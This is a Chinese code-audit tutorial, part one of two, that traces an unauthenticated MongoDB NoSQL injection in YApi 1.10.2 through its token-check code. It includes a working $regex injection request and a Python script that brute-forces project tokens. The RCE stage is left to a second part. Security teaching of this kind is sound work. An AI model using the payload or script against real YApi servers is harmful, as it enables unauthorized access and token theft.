代码审计公开课|yapi代码审计到rce(上)

渗透技巧 1年前 (2023) admin
574 0 0

已经快有三个月没开公开课,在这三个月里面,我们进行了第一期的代码审计内部培训。

目前,第一期的代码审计培训,已经接近尾声,所以我们就又来开公开课招生啦。

第一节公开课 cs rce代码审计 java语言
第二节公开课 某bc rce代码审计 php语言
第三节公开课 某真实案例的靶场 rce代码审计 python语言+php语言


1.背景知识

本次跟大家一起分享的是yapi去年年底爆出来的从未授权注入到rce的利用链。

这个yapi在国内国外知名度比较高的一款api管理平台。我们可以看到github上有25.6k个star。

代码审计公开课|yapi代码审计到rce(上)

为什么我们这一期要挑yapi开刀呢?

最主要的原因,他是一套nodejs的代码。然后熟悉我们培训的朋友都知道,我有一个理论:

代码审计,与代码语言本身无关,考验的是对漏洞的理解方式和挖掘能力

从这个角度讲,语言只是工具,只要大家能够掌握核心的对漏洞的理解方式和挖掘能力,任何一门语言、一个框架,只需要花很短时间熟悉下语法,就可以举一反三、融会贯通,快速地通过代审挖掘、复现漏洞。这样讲,可能有不少师傅觉得我在吹逼,不过如果师傅们把我们每节公开课都认真听过的话,相信大家多多少少会开始认同这个观点。

所以我特地挑了一个以前没有讲过的语言来讲讲。

2.调试环境搭建

yapi以前我没装过,貌似在我的mac上比较复杂,搞了一个钟头都没编译起来。

所以我们换一种方式。

1.起一个docker MongoDB

docker pull mongo
docker run -p 27017:27017 -itd mongo

yapi的数据库是MongoDB哈,所以我们需要自己去装一个MongoDB,这次注入也是一个MongoDB的注入

2.yapi部署

官方文档:

https://hellosean1025.github.io/yapi/devops/index.html

代码审计公开课|yapi代码审计到rce(上)

这里我们部署最新一个有漏洞的版本1.10.2

代码审计公开课|yapi代码审计到rce(上)

然后呢,为了本地调试方便,我需要把安装好的代码从虚拟机上拷贝出来。

代码审计公开课|yapi代码审计到rce(上)

这样我们就把网站跑起来了。

然后还要进行一些基础设置一会才能利用,我们要先进去创建至少一个项目并且生成一个token。

代码审计公开课|yapi代码审计到rce(上)

然后我们试试调试。下个断点

代码审计公开课|yapi代码审计到rce(上)

可以看到断点正常了。然后我们正式开始代码审计。

3.代码分析篇

0x00 代码结构

一般而言,nodejs是web服务器web应用是一体的。我们审计的时候,可以先快速阅读下大体的结构,首先确定web服务器是怎么起来的。

代码审计公开课|yapi代码审计到rce(上)

比如这里,就是进行端口绑定,绑定了端口的时候,说明web服务器已经准备好了,可以跑起来了。

那么,对于我们web代码审计中,最重要的,路由绑定是怎么弄的呢?

对于这种应用即服务器的业务,他的路由绑定一般是在服务端口绑定之前的,所有这一块就要看之前的代码了。

代码审计公开课|yapi代码审计到rce(上)

我们看到有一个变量叫做router,即路由。显然这是个关键模块了。

let INTERFACE_CONFIG = {
 interface: {
   prefix: '/interface/',
   controller: interfaceController
},
 user: {
   prefix: '/user/',
   controller: userController
},
 group: {
   prefix: '/group/',
   controller: groupController
},
 project: {
   prefix: '/project/',
   controller: projectController
},
 log: {
   prefix: '/log/',
   controller: logController
},
 follow: {
   prefix: '/follow/',
   controller: followController
},
 col: {
   prefix: '/col/',
   controller: interfaceColController
},
 test: {
   prefix: '/test/',
   controller: testController
},
 open: {
   prefix: '/open/',
   controller: openController
}
};

let routerConfig = {
 group: [
  {
     action: 'getMyGroup',
     path: 'get_mygroup',
     method: 'get'
  },

   
  {
     action: 'list',
     path: 'list',
     method: 'get'
  },
  {
     action: 'add',
     path: 'add',
     method: 'post'
  },
  {
     action: 'up',
     path: 'up',
     method: 'post'
  },
  {
     action: 'del',
     path: 'del',
     method: 'post'
  },
   /*
  ...
  ...
  ...
  */
 open: [
  {
     action: 'projectInterfaceData',
     path: 'project_interface_data',
     method: 'get'
  },
  {
     action: 'runAutoTest',
     path: 'run_auto_test',
     method: 'get'
  },
  {
     action: 'importData',
     path: 'import_data',
     method: 'post'
  }
]
};

看似定义了一堆路由api,以及一些控制器,但是又是如何把这些控制器跟api绑定在一起的呢?我们继续看

for (let ctrl in routerConfig) {
 let actions = routerConfig[ctrl];
 actions.forEach(item => {
   let routerController = INTERFACE_CONFIG[ctrl].controller;
   let routerPath = INTERFACE_CONFIG[ctrl].prefix + item.path;  //控制器前缀+动作path = 路由的api
   createAction(router, '/api', routerController, item.action, routerPath, item.method);
});
}

可以看到他会迭代遍历上面的routerConfig,routerConfig里面其实就是所有的控制器-动作的集合,通过迭代,最终将所有的动作与api的映射关系,传递给createAction去进行绑定

代码审计公开课|yapi代码审计到rce(上)

通过下断点调试,我们可以看得更清楚一点。

比如api路由 /api/group/add_member就会映射到

groupController这个控制器的addMember方法

并且可以看到,具体的映射处理是由createAction这个函数来做的。

也就是我们访问/api/group/add_member时,流程会先走到createAction函数,由createAction来决定要将下一步逻辑走到哪一个控制器(controller)的哪一个动作(action)

exports.createAction = (router, baseurl, routerController, action, path, method, ws) => {
 router[method](baseurl + path, async ctx => {
   let inst = new routerController(ctx);
   try {
     await inst.init(ctx);
     ctx.params = Object.assign({}, ctx.request.query, ctx.request.body, ctx.params);
     if (inst.schemaMap && typeof inst.schemaMap === 'object' && inst.schemaMap[action]) {

       let validResult = yapi.commons.validateParams(inst.schemaMap[action], ctx.params);

       if (!validResult.valid) {
         return (ctx.body = yapi.commons.resReturn(null, 400, validResult.message));
      }
    }
     if (inst.$auth === true) {
       await inst[action].call(inst, ctx);
    } else {
       if (ws === true) {
         ctx.ws.send('请登录...');
      } else {
         ctx.body = yapi.commons.resReturn(null, 40011, '请登录...');
      }
    }
  } catch (err) {
     ctx.body = yapi.commons.resReturn(null, 40011, '服务器出错...');
     yapi.commons.log(err, 'error');
  }
});
};

0x01鉴权过程

然后这次的注入漏洞就是出现在createAction里面的一个阶段

await inst.init(ctx);

代码审计公开课|yapi代码审计到rce(上)

async init(ctx) {
   this.$user = null;
   this.tokenModel = yapi.getInst(tokenModel);
   this.projectModel = yapi.getInst(projectModel);
   let ignoreRouter = [
     '/api/user/login_by_token',
     '/api/user/login',
     '/api/user/reg',
     '/api/user/status',
     '/api/user/logout',
     '/api/user/avatar',
     '/api/user/login_by_ldap'
  ];
   if (ignoreRouter.indexOf(ctx.path) > -1) {
     this.$auth = true;
  } else {
     await this.checkLogin(ctx);
  }

   let openApiRouter = [
     '/api/open/run_auto_test',
     '/api/open/import_data',
'/api/interface/add',
'/api/interface/save',
'/api/interface/up',
'/api/interface/get',
'/api/interface/list',
'/api/interface/list_menu',
'/api/interface/add_cat',
     '/api/interface/getCatMenu',
     '/api/interface/list_cat',
     '/api/project/get',
     '/api/plugin/export',
     '/api/project/up',
     '/api/plugin/exportSwagger'
  ];

   let params = Object.assign({}, ctx.query, ctx.request.body);  //获取请求里面url参数和body参数
   let token = params.token;  //得到请求参数里面token

   // 如果前缀是 /api/open,执行 parse token 逻辑
   if (token && (openApiRouter.indexOf(ctx.path) > -1 || ctx.path.indexOf('/api/open/') === 0 )) {
     
     let tokens = parseToken(token) //得到tokens

     const oldTokenUid = '999999'

     let tokenUid = oldTokenUid;

     if(!tokens){
       let checkId = await this.getProjectIdByToken(token); //如果tokens为空,将用户的输入丢给getProjectIdByToken
       if(!checkId)return;
    }else{
       token = tokens.projectToken;
       tokenUid = tokens.uid;
    }

我们看到,当parseToken(token)解析token失败时,会直接将token丢给getProjectIdByToken函数

  async getProjectIdByToken(token) {
   let projectId = await this.tokenModel.findId(token);
   if (projectId) {
     return projectId.toObject().project_id;
  }
}

继续跟进

  findId(token) {
   return this.model
    .findOne({
       token: token
    })
    .select('project_id')
    .exec();
}

我们看到,这里直接将token引入去进行数据库查询了。

nosql注入

那么,这样的方式有什么问题呢?

其实,如果这里是字符串的话,是没有问题的。因为这种方式就相当于进行了格式化处理参数绑定,在这个时候,是不会存在注入风险的。

比如我们输入的是

http://127.0.0.1/?token=test'

那么最终就是执行了语句

model.findOne({token:'test'})

但是MongoDB或者说nosql的数据库都有一个特性,支持传入数组(字典)来进行条件查询。

比如我们输入的是

http://127.0.0.1/?token[xxoo]=test

要注意这里其实传入了一个数组(不用纠结于用词,也可以叫做字典,在php里面这个叫字典数组?),那么最终就是执行了语句

model.findOne({token:{'xxoo':'test'}})

那么,能引入了一个xxoo,会有什么差别呢?

这是mongodb数据库的特性之一,xxoo在这里指代一个操作符,可以对后面的操作数进行条件判断
model.findOne({token:{'$ne':'test'}})   // token不为test
model.findOne({token:{'$eq':'test'}})   // token等于test

具体的操作符还有很多,大家可以从官方手册上看。

代码审计公开课|yapi代码审计到rce(上)

关于MongoDB注入的更多知识,大家可以去参看一些其他的资料。大概在七八年前,我在乌云写过一篇帖子,用的语言还是当时比较流行的php写的文档,大家可以参考一下。

如何传入数组

我们刚才说到,要构造一个应对于参数绑定形式的MongoDB注入,我们需要传入一个数组,来通过传递操作符的方式进行注入。

那么,如何传入数组呢?

其实这个问题,基本上取决于web应用所使用的编程语言和web框架,这里就要引入一个koa组件的知识了。

代码审计公开课|yapi代码审计到rce(上)

koa是nodejs语言的一款web框架,yapi就是使用koa来作为基础框架编写的。

所以yapi能不能接收传入的数组,取决于koa如何处理数组。

yapi中使用的是koa-body来处理请求中的body(弃用了koa-bodyparser)。

代码审计公开课|yapi代码审计到rce(上)

我们这里来看看koa-body的代码。需要动调一下。

当有访问的时候,会调用koa-body里面的requestbody函数来进行输入参数的获取。

return function (ctx, next) {
   var bodyPromise;
   // so don't parse the body in strict mode
   if (!opts.strict || ["GET", "HEAD", "DELETE"].indexOf(ctx.method.toUpperCase()) === -1) {
     try {
       if (opts.json && ctx.is('json')) {
         bodyPromise = buddy.json(ctx, {
           encoding: opts.encoding,
           limit: opts.jsonLimit
        });
      } else if (opts.urlencoded && ctx.is('urlencoded')) {
         bodyPromise = buddy.form(ctx, {
           encoding: opts.encoding,
           limit: opts.formLimit,
           queryString: opts.queryString
        });
      } else if (opts.text && ctx.is('text')) {
         bodyPromise = buddy.text(ctx, {
           encoding: opts.encoding,
           limit: opts.textLimit
        });
      } else if (opts.multipart && ctx.is('multipart')) {
         bodyPromise = formy(ctx, opts.formidable);
      }
    } catch (parsingError) {
       if (typeof opts.onError === 'function') {
         opts.onError(parsingError, ctx);
      } else {
         throw parsingError;
      }
    }
  }

当输入方式分别为json或者urlencoded或者text会有不同的处理逻辑,处理逻辑的实现来自在co-body这个模块。我们跟一下。

代码审计公开课|yapi代码审计到rce(上)

代码审计公开课|yapi代码审计到rce(上)

以json为例,当我们使用

Content-Type: application/json

就会进入到json的处理流程。

此时我们的输入是

{"a":1,"b":{"$ne":"xxoo"}}

发现他会将我们输入的字符串进行一个JSON.parse,

代码审计公开课|yapi代码审计到rce(上)

经过JSON.parse后,我们输入的字符串自然而然的就变成一个字典数组对象body了。

0x02 注入利用

搞明白了nosql的注入原理和为什么我们能够传递数组之后,我们就可以开始构造poc了。

{"token":{"$regex":"^f"}}

我们使用正则操作符$regex来进行注入判断,这样比较快一点。

然后我们需要找到一个合适的api,帮助我们进行逻辑判断,范围就在这些里面

代码审计公开课|yapi代码审计到rce(上)

比如我找到的是这个

GET /api/plugin/export HTTP/1.1
Host: 172.16.134.1:3000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,de;q=0.8
If-Modified-Since: Tue, 07 Feb 2023 12:12:34 GMT
Connection: close
Content-Type: application/json
Content-Length: 25

{"token":{"$regex":"^f"}}

token正则匹配成功时

代码审计公开课|yapi代码审计到rce(上)

token正则匹配失败时

代码审计公开课|yapi代码审计到rce(上)

0x03 注入poc书写

据此,我们可以写一个简单的poc了。

import json

import requests

if __name__ == '__main__':
   url = "http://172.16.134.1:3000/api/plugin/export"
   token = ''
   for i in range(50):
       old_token_len = len(token)
       for j in range(16):
           token_try = hex(j).replace("0x", "")  #0123456789abcdef
           data = {
               "token": {
                   "$regex": "^" + token + token_try
              }
          }
           headers = {
               'Content-Type': 'application/json'
          }
           # print(data)
           res = requests.get(url, data=json.dumps(data), headers=headers)
           if len(res.text) > 50:
               token = token + token_try
               print(token)
               break
       new_token_len = len(token)
       if old_token_len == new_token_len:
           break

           

然后我们拿着它去跑一下,就可以得到该项目的token

代码审计公开课|yapi代码审计到rce(上)

进一步的利用过程将会放到文章代码审计公开课|yapi代码审计到rce(下)中讲解。

原文始发于微信公众号(dada安全研究所):代码审计公开课|yapi代码审计到rce(上)

版权声明:admin 发表于 2023年2月24日 下午1:01。
转载请注明:代码审计公开课|yapi代码审计到rce(上) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...